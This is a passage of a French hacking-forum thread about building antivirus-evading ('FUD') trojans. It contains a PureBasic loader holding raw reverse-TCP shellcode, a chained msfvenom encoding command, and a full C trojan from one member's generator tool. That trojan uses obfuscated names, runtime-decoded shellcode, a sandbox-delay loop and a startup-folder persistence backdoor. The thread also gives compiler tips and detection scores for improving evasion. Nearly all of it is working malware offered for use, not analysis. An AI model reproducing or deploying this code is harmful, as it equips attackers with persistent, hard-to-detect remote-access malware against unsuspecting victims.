Auteur Sujet: Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)  (Lu 38375 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne WarLocG

  • Contributeur de Kali-linux.fr
  • Membre sérieux
  • *****
  • Messages: 474
  • +67/-0
  • Spé Code Python Java Bash
En regardant ta commande pour msfvenom je viens de comprendre que WK veut dire White Koala  ;D
Pas trop gênant les poils dans le claviers et le ventilo ? :D

tu as mis du temps a t'en rendre compte, HWW ;)
Citer
...
c'est une archive tar à décompresser. Je ne sais pas comment j'ai fait mais l'archive a pris mon dossier home et utilisateur avec donc il faut entrer dans 3 dossier (home -> whitekoala -> simulation_forum) avant d'arriver sur le jeu. Il y a un executable nommé platement "executable" à executer dans un terminal.
...
Référence: https://www.kali-linux.fr/forum/index.php/topic,2955.0.html -> 16 juillet 2016
Y'avait d'autres indices plus tôt mais j'ai pas trop fouillé le forum pour les chercher. Et puis y'avait l'avatar aussi ;) Bien à toi :D

Edit: Pour une certaine raison, le bbcode pour bold (gras) ne fonctionne pas dans le bbcode quote, le 'whitekoala' est sensé être en gras.
« Modifié: 16 août 2016 à 14:38:38 par WarLocG »
A lire avant de poser vos questions : http://www.linux-france.org/article/these/smart-questions/smart-questions-fr.html
Pour les questions de base sous debian : https://debian-facile.org/index-df.php
Veuillez utiliser la fonction Rechercher avant de poster.

Hors ligne waste

  • Nouvel inscrit
  • Messages: 4
  • +0/-0
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #31 le: 13 septembre 2016 à 15:20:20 »
ahhhh voila un bon sujet oui !

avec un peu d'efforts on arrive vite à un meterpreter quasi FUD,   j'ai testé les dynamic payloads de MSF pro 8. ko grosse surprise , on est à 19/35 !!!  presque pareil que le free ! quel intérêt alors ?

je m'attendais à du 100 % fud , avec des techniques avant gardistes de bypass.... ça a pas l'air ,

le compilo est important en effet,

un bon meterpreter à l'ancienne est à 30/35 je pense ,

DataSection
 !steak:
 
Data.b $fc,$e8,$82,$00,$00,$00,$60,$89,$e5,$31,$c0,$64,$8b,$50,$30
Data.b $8b,$52,$0c,$8b,$52,$14,$8b,$72,$28,$0f,$b7,$4a,$26,$31,$ff
Data.b $ac,$3c,$61,$7c,$02,$2c,$20,$c1,$cf,$0d,$01,$c7,$e2,$f2,$52
Data.b $57,$8b,$52,$10,$8b,$4a,$3c,$8b,$4c,$11,$78,$e3,$48,$01,$d1
Data.b $51,$8b,$59,$20,$01,$d3,$8b,$49,$18,$e3,$3a,$49,$8b,$34,$8b
Data.b $01,$d6,$31,$ff,$ac,$c1,$cf,$0d,$01,$c7,$38,$e0,$75,$f6,$03
Data.b $7d,$f8,$3b,$7d,$24,$75,$e4,$58,$8b,$58,$24,$01,$d3,$66,$8b
Data.b $0c,$4b,$8b,$58,$1c,$01,$d3,$8b,$04,$8b,$01,$d0,$89,$44,$24
Data.b $24,$5b,$5b,$61,$59,$5a,$51,$ff,$e0,$5f,$5f,$5a,$8b,$12,$eb
Data.b $8d,$5d,$68,$33,$32,$00,$00,$68,$77,$73,$32,$5f,$54,$68,$4c
Data.b $77,$26,$07,$ff,$d5,$b8,$90,$01,$00,$00,$29,$c4,$54,$50,$68
Data.b $29,$80,$6b,$00,$ff,$d5,$50,$50,$50,$50,$40,$50,$40,$50,$68
Data.b $ea,$0f,$df,$e0,$ff,$d5,$97,$6a,$05,$68,$0a,$30,$02,$55,$68
Data.b $02,$00,$11,$5c,$89,$e6,$6a,$10,$56,$57,$68,$99,$a5,$74,$61
Data.b $ff,$d5,$85,$c0,$74,$0a,$ff,$4e,$08,$75,$ec,$e8,$3f,$00,$00
Data.b $00,$6a,$00,$6a,$04,$56,$57,$68,$02,$d9,$c8,$5f,$ff,$d5,$83
Data.b $f8,$00,$7e,$e9,$8b,$36,$6a,$40,$68,$00,$10,$00,$00,$56,$6a
Data.b $00,$68,$58,$a4,$53,$e5,$ff,$d5,$93,$53,$6a,$00,$56,$53,$57
Data.b $68,$02,$d9,$c8,$5f,$ff,$d5,$83,$f8,$00,$7e,$c3,$01,$c3,$29
Data.b $c6,$75,$e9,$c3,$bb,$f0,$b5,$a2,$56,$6a,$00,$53,$ff,$d5



EndDataSection



 !MOV  EAX, steak

 !call EAX


déjà là on est plus qu'à 4/35 sur NODISTRIBUTE  code Purebasic .exe => 4 ko mieux que le pro  ;D pas d'obfuscation

petit rappel pour ceux qui ne connaissent pas , PureBasic = langage Français , syntaxe simple , .exe généré par FASM  , rapidité d'exécution entre le c et l'asm taille très petite et MULTI OS !

vous pouvez générer un exécutable pour  Linux / Win / Mac et Amiga OS






« Modifié: 13 septembre 2016 à 15:52:43 par waste »

Hors ligne Teeknofil

  • Contributeur de Kali-linux.fr
  • Membre sérieux
  • *****
  • Messages: 368
  • +28/-6
    • https://www.youtube.com/watch?v=R-zrnglcNuA&list=PLeu60bO1b61HE25L8Sz-cC7xjFupaSuWc
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #32 le: 26 septembre 2016 à 04:19:46 »
Salut

  -e x86/countdown  -i 0 --arch x86  --platform windows --nopsled 68 |  msfvenom -e x86/shikata_ga_nai  -i 2 --arch x86  --platform windows --nopsled 29 |  msfvenom -e x86/alpha_upper  -i 5 --arch x86  --platform windows --nopsled 50 |  msfvenom -e x86/countdown  -i 0 --arch x86  --platform windows --nopsled 10 |  msfvenom -e x86/shikata_ga_nai  -i 3 --arch x86  --platform windows --nopsled 31 |  msfvenom -e x86/alpha_upper  -i 5 --arch x86  --platform windows --nopsled 52 |  msfvenom -e x86/fnstenv_mov  -i 1 --arch x86  --platform windows  -b '\x00\xFF' --nopsled 13
L'option --nopsled numberBytes est jamais utiliser et pourtant elle peut être magique, je l'ai même jamais vu dans les meilleur tuto.
A+
« Modifié: 20 novembre 2016 à 20:33:59 par Teeknofil »
Hacking Debutant - Black Hat Ackademy : https://www.udemy.com/draft/2365526/?couponCode=PROMOTION

Hors ligne EinderJam

  • Membre Junior
  • *
  • Messages: 16
  • +0/-0
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #33 le: 20 novembre 2016 à 09:34:55 »
Ce topic est plein de surprises  8) Arriver à du FUD avec quelques lignes de code seulement quand les outils type Veil-Evasion nous le promettent sans jamais y arriver...  :D
Seulement,j'ai un petit problème :
Ne désirant pas m'embarrasser de Visual Studio au complet,j'ai téléchargé les build tools disponibles http://go.microsoft.com/fwlink/?LinkId=691126 ici.

ce sont les outils de compilation C++,mais ils peuvent très bien compiler du C.
J'ai donc créé mon fichier source test.c (quelle originalité) contenant un reverse_https (sur la base de la méthode n°5 "le fils prodige"  ;D )
j'ai ensuite essayé (et pas réussi) à le compiler avec les build tools :

cl /W4 test.c
Microsoft (R) C/C++ Optimizing Compiler Version 19.00.24210 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

test.c
test.c(73): warning C4055: 'type cast': from data pointer 'unsigned char [662]' to function pointer 'int (__cdecl *)()'
test.c(7): warning C4100: 'argv': unreferenced formal parameter
test.c(7): warning C4100: 'argc': unreferenced formal parameter
Microsoft (R) Incremental Linker Version 14.00.24210.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:test.exe
test.obj
le /W4 sert a afficher les possibles erreurs de compil
On voit donc une erreur aux lignes 7 et 73.J'ai vérifié plusieurs fois l'intégration de mon shellcode,et les lignes 7 et 73 incriminées par le compilateur m'ont l'air correctes,mais je ne suis pas un expert  :(
Par simple curiosité mon cher WK,qu'as tu utilisé pour compiler ? Visual Studio complet (si oui quelle version),ou comme moi les outils command line ?

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #34 le: 20 novembre 2016 à 13:03:53 »
Bonjour !

Ce ne sont pas des erreurs mais des warnings, donc ton executable à été généré même si le compilateur a vu quelque chose qu'il n'a pas apprécié. C'est dû à mon avis au fait que tu utilises le compilateur c++, on peut compiler du C avec du C++, mais c'est pas l'idéal. (Sujet de grande discorde sur les forums comme openclassrooms d'ailleurs !)
Perso j'utilisais code:blocks pour m'y retrouver et il y avait une option "Compile as C" qui arrangeait ce genre de soucis.
Depuis lors je travaille sur la conception d'un outil qui générerait des trojans à la manière de veil-évasion, mais en FUD, et j'ai eu l'occasion de voir que gcc pour Windows passait bien dessus. Et comme il s'installe en même temps que code:blocks sur Windows,  je te dirai de faire comme ça en plus que cet IDE est hyper léger. Code:blocks a ce truc pratique de pouvoir changer de compilateur pour un projet en un clic.

Sinon les compilateurs de VS 2010-2015 sont encore plus performants, quand j'y compile quelque chose ça chie du FUD. Cependant il faut adapter son code avec leurs comme déclarer toutes ses variables en variables globales,..
Heureusement j'ai mis dans mon outil une option qui permet de donner directement  dans un fichier texte un code FUD compatible avec visual 2010 et légèrement obfusqué ! Je fignole encore :D

Donc en fait avec visual il faut tout le temps adapter son code mais avec le résultat est excellent avec les dernières versions, tandis que gcc est un bon compromis pour paresseux :)

Hors ligne Teeknofil

  • Contributeur de Kali-linux.fr
  • Membre sérieux
  • *****
  • Messages: 368
  • +28/-6
    • https://www.youtube.com/watch?v=R-zrnglcNuA&list=PLeu60bO1b61HE25L8Sz-cC7xjFupaSuWc
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #35 le: 20 novembre 2016 à 15:32:35 »
Non vous êtes comme pas  sérieux, veil-evasion est un framework. Si vous voulait vous pouvez codé un template et le compiler sans faire le backoffice. J'ai déjà eu mon propre fud avec veil-evasion avec template C#. Au lieu de réinventé la roue faites comme moi contribué au projet, vous êtes pas obliger de partager votre template c'est tout. Avec veil vous pouvez faire du C#, PYTHON,RUBY,C et j'en passe. Et n'oublier pas qu'il faut offusquer votre code avant et après l'avoir compiler.
Hacking Debutant - Black Hat Ackademy : https://www.udemy.com/draft/2365526/?couponCode=PROMOTION

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #36 le: 20 novembre 2016 à 18:00:20 »
C'est à dire que je développe depuis quelques temps un outil ( quasi finit ) qui crée des trojans en se basant sur la méthode que j'ai mis sur ce topic. J'ai commencé mon outil parce que j'avais trouvé cette méthode relativement inédite et que je souhaitais l'utiliser pour coder un outil de zéro qui maintenant est à un stade relativement avancé. Je suis content de mon choix car je n'aurai jamais pensé il y a quelques mois arriver à ce résultat.

Cependant la question n'est pas là puisque l'on parle simplement de compilateurs, finalement mon outil ne regarde que moi surtout que je n'ai pas encore fait d'annonce ou autre sachant que je ne sais pas encore ce que je vais en faire. 

Hors ligne Teeknofil

  • Contributeur de Kali-linux.fr
  • Membre sérieux
  • *****
  • Messages: 368
  • +28/-6
    • https://www.youtube.com/watch?v=R-zrnglcNuA&list=PLeu60bO1b61HE25L8Sz-cC7xjFupaSuWc
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #37 le: 20 novembre 2016 à 20:12:02 »
Ton topic je le connais très bien puisque c'est la traduction d'une source anglaise (que je te remercie d'avoir traduit). Va sur mon Git hub et cherche, cherche bien et tu verra qui j'ai fais un template C# basé sur ce que tu explique. Et je précise que je l'ai fait il y a des mois avant ta traduction. Donc sans vouloir faire mon sale con il aurez était plus profitable que tu travaille sur le framework veil via Git Hub que faire ton truc dans ton coin. Ou sinon publie ton soft moi j'ai bientôt fini crisis et on collabore sur Github sur ton projet. Tu es pas obliger de publier toutes tes source comme le fait le framework veil mais tu peux utilisé l'intelligence de l'open source pour codé ou avoir des retour pour déboguer. En plus tu avoue que tu travail sur un projet de trojan, c'est chaud si ton code est pas open cela peu être considéré comme une activité illégal dissimulé.

Edit : http://packetstorm.foofus.com/papers/virus/BypassAVDynamics.pdf
New Edit : https://packetstormsecurity.com/papers/virus/
« Modifié: 20 novembre 2016 à 20:55:14 par Teeknofil »
Hacking Debutant - Black Hat Ackademy : https://www.udemy.com/draft/2365526/?couponCode=PROMOTION

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #38 le: 20 novembre 2016 à 22:45:12 »
En effet, comme je l'ai au début je n'ai rien inventé mais j'ai plutôt bouffé énormément de documentations pour avoir de  quoi commencer et j'ai finalement relié le tout pour commencer mon outil. Et je me souviens très bien des liens que tu renseignes, ils m'ont beaucoup apportés !
Ce que je voulais dire c'est qu'à l'époque je ne pensais pas avoir les compétences pour faire avancer ou aider quoique ce soit, et réinventer "ma" roue m'a beaucoup appris.
Sinon je pense de plus en plus à l'open-source, partiel pour ne pas non plus lacher des trojans FUD à n'importe qui, car c'est l'aspect qui me rebute encore.

Pour que tu puisses mieux voir, voici un exemple de code venant directement de mon outil :

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


char njmocadkcfaqjpmukbsqtimrbtpolshsendhhgljlfdupjmcehmajsmkoebtwcoupsvqskdhjavbjkunleiowubobt[300];
char vedvdfbhtinakeahaicnmtgilhkbtosrsvjpuerrhhrrfrtftvnjmtlauwbrhtftrjgjnadobujgjfgwutijjudgne[500]="copy \"";
char scljfmmesmboofafcambmdsgisdskhawjfdirjmmpidhhugjptkewgebsbugiowmtcuomkdvmbftpmfhcqfbqjdlk[100];
char qmpllldalltvkviusnbgcoihqgoqtfngrarffoaqtnohlqeahfajockhjbrfaillcwlhnfbksjrbupseothfvrnbm[2]="ii";char iwhlqciiumqktwdhgeuhferqwwvgmklojsdtolvmbowontqtbnegrpqqiiqpsfgvrjrjppvqhobolrlgbjmmswgui[100]="\"C:\\Users\\%username%\\";
char rbhiuvnidnkmcwbtwwvqfsobohswdjfufgacenkivooaoqnhjlaohjkpkfooinlhtljstodrfrlnetvhhpwisdsgi[500]="@echo \"C:\\Users\\%username%\\payloadexample.exe\" > \"C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\beta.bat\"";
int wpmlucjqrrsekdwnvfpctcnwoohnlltkuiprlcfwtadguuntcfpwbfvqnwgbkcgblvmqarjnrnnjkdfgcowenuudn=0;int sfoitamqwsthsaujoaalwrvehucpfalaftcsnoggetnqnktefnjvchujvwbeqmepjbfqplanhngususrkepmfgvew=0;
int wcooekihdlwftnhmmmhmajefstbfshfrjndhblivwhdsvecekjkkmojhekmarmlvcowutimtjpibnkfbokldspfac=0;
int qdioovkonnqnngotndkcaqbfbpehhwsatuoettsjdgwlmhhtkmvkfrjbjhiraultrubnqnwntpbcwjpdvihucqvfb[109628];
unsigned char buf[] =
"\xbb\x36\x6f\xc7\x87\xdd\xc8\xda\x79\x27\xf9\x5f\x38\xca\xb6\x79\x35\x59\x19\x87\xee\xfe\x05\x65\x69\x29\x75\x3d\xde\xc9\xe7\xca\xc9\xcd\xc5\xbf\xd8\x3f\xad\x18\xd6\x0f\x29\x59\xb6\x67\x40\x80\xca\x88\x70\xd4\xb9\xe7\xde\x60\x50\x8c\x8f\x5d\xe6\x37\x58\x6a\x49\xc3\x99\xf6\x46\x1f\x07\x96\x50\xbe\x78\xcd\x20\x26\xc7\x48\x6f\x44\x8e\x59\xf8\xff\x5e\x38\xb9\x7a\x23\x0f\x78\xc7\x90\x4f\x80\xcd\xa4\xba\xbe\x0b\x77\xa8\x18\x8f\xf9\x77\x57\xba\x58\x08\x09\x10\x53\x29\x18\xed\xb8\x9f\xd2\xdf\xfa\x6f\x6d\x23\x88\x57\xfe\x75\x4f\x8f\x89\xd9\xa8\x49\xaf\xab\x29\x59\xe0\xd8\xbf\x09\x49\xb0\x79\xf8\xc0\x19\x57\x59\xb9\x2e\x78\xc9\x4d\xd9\xe0\xa9\x99\x3f\xfe\x3f\x07\xad\xf9\x92\xd6\x66\xd9\xa0\xd0\xd9\xf6\xc0\x46\xed\x08\x9f\x3e\xfd\x38\xef\x9d\xf0\x19\x74\x99\x23\xf8\xb1\xe7\xa9\xab\x8f\xa9\x05\x7a\x78\x8c\x4f\xa9\x8f\x48\xcf\xe5\x3e\xb7\xd8\x14\x17\xe8\xad\x76\x78\x4f\x98\x54\xad\xc9\x59\xaf\xb0\xe9\x85\x40\x8f\x6d\x1e\xc6\xe8\x20\xa0\xfd\x70\x89\x77\xbf\x4a\xcd\x1f\xa5\x28\x6d\xaa\x0e\x4f\xa9\x16\x1d\x7d\xbe\x2a\x5a\x7b\x1d\xc7\xe9\x17\x5f\x9f\xf9\x58\xd8\xf9\x3f\x72\x2d\xbd\x47\x16\x70\x65\xd8\xaf\x83\x09\x49\xe4\x09\x06\x7e\x20\xda\x27\x4d\x5e\x79\xc6\x1f\x09\xd8\x78\x19\xe5\xef\xfd\xb6\x4f\x6a\xe0\xa0\xb9\x60\x96\x7a\xa9\x50\x12\x1a\x69\x55\x20\xee\xb9\x0f\xac\xe8\x5f\xce\xfa\xf5\x98\x08\x7e\x8a\x8b\xe9\x58\x28\x1a\xb6\x61\x46\x60\x19\x7d\x9d\xfe\x4a\x7e\x14\xb0\x40\xbf\x10\x5f\x0f\xf8\x6e\xaf\x16\xfa\x75\x79\x9f\xa0\x3f\x95\xa9\xc8\x79\x27\x25\xae\xa9\x37\x06\x18\xef\x89\x3a\xb9\xea\x49\x6e\x5e\xe9\xbc\x98\x19\xdf\xe7\x99\xf9\x87\x7e\x38\x60\xc8\x69\x1f\x6e\x40\xdf\x2e\x7f\x6a\xec\x3f\x68\x05\xcf\x30\xb9\x2c\xc2\xbf\x23\xef\x08\x97\x9f\x78\xf9\x25\x77\x69\x8f\xf7\xba\xf6\x1a\x3a\xed\xcf\xb6\x3f\x25\x6d\xf5\x59\xe7\x3e\xbf\x4f\xf7\xf5\x9f\x66\xd7\x20\x6e\xec\xae\x0d\x42\xf0\x69\x62\xaf\x61\xd6\xd7\xdf\x5c\xb9\xa7\xd8\x0f\xb6\xd9\x0a\x28\x79\x37\x08\xbf\xfb\x38\x4c\xba\x1f\x7d\xde\xef\x10\xe7\x88\xdd\x07\xf0\xa7\xb9\xb0\x5b\x26\x98\x57\xd9\xb2\x96\x29\x19";

int mekmllpathshivoqgqtencvlonvpaqggpqmdveurlkcoikhpdunlalwicuathgcwqouisldbvwjhjkqgiarimqqon[]={1,5,1,7,3,3,6,1,5,3,5,2,7,1,5,3,4,4,7,4,1,2,2,1,9,7,4,1,1,4,2,1,2,3,2,2,5,1,2,4,1,1,6,2,1,4,1,1,1,1,1,3,2,5,2,1,1,2,2,3,3,6,2,1,4,1,1,1,1,2,2,6,1,1,1,3,1,1,1,1,1,3,2,7,2,3,1,1,4,1,3,1,5,3,1,1,1,1,1,1,3,1,5,2,6,1,3,3,1,1,2,1,5,1,2,1,1,3,1,1,1,5,1,2,1,3,2,1,3,1,3,1,2,2,1,5,1,1,1,5,1,3,1,2,4,1,2,8,1,1,2,8,1,4,3,1,1,1,1,1,1,3,1,5,2,1,2,2,4,4,2,1,1,1,2,1,4,2,5,2,3,1,2,1,1,1,1,1,4,1,1,1,4,1,1,4,1,4,1,2,2,1,2,1,5,1,4,1,1,5,1,4,1,3,5,7,1,7,2,3,1,7,2,1,2,5,1,1,1,2,4,2,1,1,3,1,2,4,1,1,1,2,1,2,3,1,4,1,1,3,1,1,2,1,1,1,1,7,1,2,1,3,1,4,6,8,1,1,3,1,6,2,1,5,1,1,3,5,6,3,1,2,2,1,1,1,2,1,3,1,1,6,1,8,3,1,5,2,1,1,1,1,1,5,1,3,1,7,1,1,1,2,3,1,3,5,3,1,3,3,1,1,1,6,7,2,1,1,1,2,3,1,3,1,5,1,7,1,1,1,1,1,1,1,1,4,1,3,1,4,1,1,3,1,4,5,5,1,1,1,1,3,2,2,3,4,1,2,4,2,4,9,1,9,1,2,1,1,2,1,1,1,5,3,3,1,6,2,6,1,1,9,1,1,1,2,1,1,1,2,1,1,3,5,1,2,1,2,5,3,2,5,3,5,1,1,1,2,2,3,5,1,2,1,1,2,4,3,1,1,2,1,1,1,1,5,1,2,1,1,4,7,1,1,2,3,3,1,1,2,2,1,1,5,2,1,2,3,2,2,5,1,7,1,4,1,7,2,2,1,1,2,1,2,2,1,4,1,7,2,2,3,1,1,1,1,1,2,5,5,1,1,3,2,5};
int kvjdhkmsdsuvhfkapsicwanwimnitqcapfdqqjlnvilfhvaqqitjcdiepvmfjiwbotlhfrovtduesuugwkpbobgaq;
int eqwbouufsdfwmghngibtidrhbguenqhldanlvkrkhwjtwregtfcvctwutubdncokdewsiqfpjigiteijdkhfahune=0;
int (*ret)() = (int(*)())buf;



int main(int argc,char *argv[])
{
kvjdhkmsdsuvhfkapsicwanwimnitqcapfdqqjlnvilfhvaqqitjcdiepvmfjiwbotlhfrovtduesuugwkpbobgaq=strlen(buf);
strcpy(njmocadkcfaqjpmukbsqtimrbtpolshsendhhgljlfdupjmcehmajsmkoebtwcoupsvqskdhjavbjkunleiowubobt,argv[0]);
strcat(vedvdfbhtinakeahaicnmtgilhkbtosrsvjpuerrhhrrfrtftvnjmtlauwbrhtftrjgjnadobujgjfgwutijjudgne,njmocadkcfaqjpmukbsqtimrbtpolshsendhhgljlfdupjmcehmajsmkoebtwcoupsvqskdhjavbjkunleiowubobt);
strcat(vedvdfbhtinakeahaicnmtgilhkbtosrsvjpuerrhhrrfrtftvnjmtlauwbrhtftrjgjnadobujgjfgwutijjudgne,"\" \"C:\\Users\\%username%\"");
strcpy(scljfmmesmboofafcambmdsgisdskhawjfdirjmmpidhhugjptkewgebsbugiowmtcuomkdvmbftpmfhcqfbqjdlk,"payloadexampl.exe");
strcat(iwhlqciiumqktwdhgeuhferqwwvgmklojsdtolvmbowontqtbnegrpqqiiqpsfgvrjrjppvqhobolrlgbjmmswgui,scljfmmesmboofafcambmdsgisdskhawjfdirjmmpidhhugjptkewgebsbugiowmtcuomkdvmbftpmfhcqfbqjdlk);
system(vedvdfbhtinakeahaicnmtgilhkbtosrsvjpuerrhhrrfrtftvnjmtlauwbrhtftrjgjnadobujgjfgwutijjudgne);
system(rbhiuvnidnkmcwbtwwvqfsobohswdjfufgacenkivooaoqnhjlaohjkpkfooinlhtljstodrfrlnetvhhpwisdsgi);
if(strstr(argv[0],"payloadexamp"))
{

kvjdhkmsdsuvhfkapsicwanwimnitqcapfdqqjlnvilfhvaqqitjcdiepvmfjiwbotlhfrovtduesuugwkpbobgaq=strlen(buf);while (wcooekihdlwftnhmmmhmajefstbfshfrjndhblivwhdsvecekjkkmojhekmarmlvcowutimtjpibnkfbokldspfac<98000)
{
qdioovkonnqnngotndkcaqbfbpehhwsatuoettsjdgwlmhhtkmvkfrjbjhiraultrubnqnwntpbcwjpdvihucqvfb[wcooekihdlwftnhmmmhmajefstbfshfrjndhblivwhdsvecekjkkmojhekmarmlvcowutimtjpibnkfbokldspfac]=6;
wcooekihdlwftnhmmmhmajefstbfshfrjndhblivwhdsvecekjkkmojhekmarmlvcowutimtjpibnkfbokldspfac++;

sfoitamqwsthsaujoaalwrvehucpfalaftcsnoggetnqnktefnjvchujvwbeqmepjbfqplanhngususrkepmfgvew++;
}
if(sfoitamqwsthsaujoaalwrvehucpfalaftcsnoggetnqnktefnjvchujvwbeqmepjbfqplanhngususrkepmfgvew>9000)
{
while(eqwbouufsdfwmghngibtidrhbguenqhldanlvkrkhwjtwregtfcvctwutubdncokdewsiqfpjigiteijdkhfahune<kvjdhkmsdsuvhfkapsicwanwimnitqcapfdqqjlnvilfhvaqqitjcdiepvmfjiwbotlhfrovtduesuugwkpbobgaq)
{
buf[eqwbouufsdfwmghngibtidrhbguenqhldanlvkrkhwjtwregtfcvctwutubdncokdewsiqfpjigiteijdkhfahune]-=mekmllpathshivoqgqtencvlonvpaqggpqmdveurlkcoikhpdunlalwicuathgcwqouisldbvwjhjkqgiarimqqon[eqwbouufsdfwmghngibtidrhbguenqhldanlvkrkhwjtwregtfcvctwutubdncokdewsiqfpjigiteijdkhfahune];
eqwbouufsdfwmghngibtidrhbguenqhldanlvkrkhwjtwregtfcvctwutubdncokdewsiqfpjigiteijdkhfahune++;
}
ret();

}
}
}

le scan nodistribute -> http://nodistribute.com/result/aUCqiDuRNnlOcxIFELZ62

En gros mon outil génère ce genre de code qui une fois compilé est FUD :-)
Comme tu vois j'ai poussé le concept beaucoup plus loin, et avec les lois de l'aléatoire mon outil pourrait créer tellement de code différents que l'analyse par signature est inutile.

(Ce code contient aussi une "backdoor" qui réexecute le trojan à chaque démarrage de l'ordinateur. Elle est facile à enlever pour le moment mais évitez les ennuis. De plus le payload a comme lhost une adresse locale)

Voilà ;-)

Hors ligne EinderJam

  • Membre Junior
  • *
  • Messages: 16
  • +0/-0
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #39 le: 24 novembre 2016 à 18:12:12 »
j'ai hâte de voir ton outil WK ! Toutes les bonnes idées de ce topic (et d'autres encore j'imagine) dans un outil,ça promet ! ;D
J'ai essayé d'installer codeblocks,il me dit qu'il n'a trouvé aucun compilateur C (un peu normal)
Une question:Sais-tu comment installer le compilateur C (pas C++ ni C#) dans visual studio community ? J'ai cherché et:
1-j'ai l'impression que le compilateur C# est préinstallé,donc il n'est pas possible de compiler quand on ouvre un fichier .c dans visual studio
2-Je me trompe ou pour ce qui est de la compilation,Visual studio ne fait pas dans l'intuitivité ?

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #40 le: 24 novembre 2016 à 19:43:01 »
Juste pour être sûr, tu es bien sous windows? Car avec une installation windows il l'installe par défaut normalement. Sinon il suffit de l'installer : https://sourceforge.net/projects/mingw/files/

Dans visual on fait du C avec le compilateur C++. Il faut créer un projet C / C++ Win32Application.
Comme ici : https://www.youtube.com/watch?v=o2nZlBnCzFI
Sauf qu'au lieu de créer un "main.cpp" il faut créer un "main.c" :)

Hors ligne EinderJam

  • Membre Junior
  • *
  • Messages: 16
  • +0/-0
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #41 le: 27 novembre 2016 à 10:01:36 »
Oui,je suis bien sous windows !
J'ai testé avec CodeBlocks -> 1/35  ;D effectivement,ça chie du FUD comme tu dit ! (enfin presque)
lorsque je le lance,une fenêtre cmd vide apparaît et reste affichée (bien sûr je récupère la session meterpreter)
Détail intéressant : en fermant la fenêtre,metasploit ne considère pas que la session est fermée,pourtant on ne peut plus rien faire ^^ étrange...

Avec Visual Studio : j'ai dû installer les additions pour windows 8.1 (ou quelque chose comme ça) pour avoir accès aux projets Win32Console application
Mais quand je fais Project>Build,l'exécutable généré ne fait rien > pas de session meterpreter créée...Ya encore des choses à régler...

Un détail : la 1ère fois que j'ai compilé avec CodeBlocks,l'exe généré me disait qu'il me manquait une dll lorsque je le lançais...J'ai dû rajouter une option dans les paramètres du compilateur pour régler ce problème.

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Re : Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #42 le: 27 novembre 2016 à 11:57:00 »
lorsque je le lance,une fenêtre cmd vide apparaît et reste affichée (bien sûr je récupère la session meterpreter)
Détail intéressant : en fermant la fenêtre,metasploit ne considère pas que la session est fermée,pourtant on ne peut plus rien faire ^^ étrange...

C'est normal que l'on ne puisse rien faire si le trojan est fermé, ton shell meterpreter balance ses ordres dans le vide avant de se rendre compte de ce qu'il se passe (Fin de la réception du flag ACK  https://fr.wikipedia.org/wiki/Transmission_Control_Protocol ) et de fermer la session.
ll faut donc ajouter du code pour masquer la console. Je n'ai pas les lignes sous la main car je ne suis pas chez moi, mais google est ton ami :)
Sinon quand je rentrerai je les mettrai.
Tu peux aussi utiliser la commande "migrate" de meterpreter pour ce genre de problème.

Avec Visual Studio : j'ai dû installer les additions pour windows 8.1 (ou quelque chose comme ça) pour avoir accès aux projets Win32Console application
Mais quand je fais Project>Build,l'exécutable généré ne fait rien > pas de session meterpreter créée...Ya encore des choses à régler...

Un détail : la 1ère fois que j'ai compilé avec CodeBlocks, l'exe généré me disait qu'il me manquait une dll lorsque je le lançais...J'ai dû rajouter une option dans les paramètres du compilateur pour régler ce problème.

C'est à dire que Visual se fiche clairement du langage C maintenant.. Perso j'utilise même pas l'IDE de Visual mais le compilateur via Code:Blocks. (On peut choisir son compilateur dans "Build Options").
Le jour où j'aurai et le temps et la patience je ferai sûrement un tuto sur comment installer Gcc et Visual Studio (2010) sur une Windows et paramétrer le tout pour pouvoir compiler directement du code sans accroc. Trop peu de temps pour trop de choses à faire  ::)
À priori je le ferai si je met mon tool open-source.

EDIT : À la réflexion je compte trouver un moyen de cross-compiler depuis kali-linux tout en restant FUD. J'y travaille :)
« Modifié: 27 novembre 2016 à 13:13:05 par WK »

Hors ligne EinderJam

  • Membre Junior
  • *
  • Messages: 16
  • +0/-0
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #43 le: 01 décembre 2016 à 15:54:49 »
Pour compiler FUD depuis kali,on peut peut-être installer les compilateurs de visual studio dans kali avec wine ?
Simple suggestion, ce n'est peut être pas possible...

Hors ligne EinderJam

  • Membre Junior
  • *
  • Messages: 16
  • +0/-0
Re : Tuto/Article : À la recherche du Trojan FUD (ShellCode et Langage C)
« Réponse #44 le: 07 février 2017 à 10:59:56 »
Après quelques recherches,j'ai trouvé comment faire compiler a visual studio du C,et non pas C++ ou C#...
Voici comment faire :
Créer un projet "console application C++"
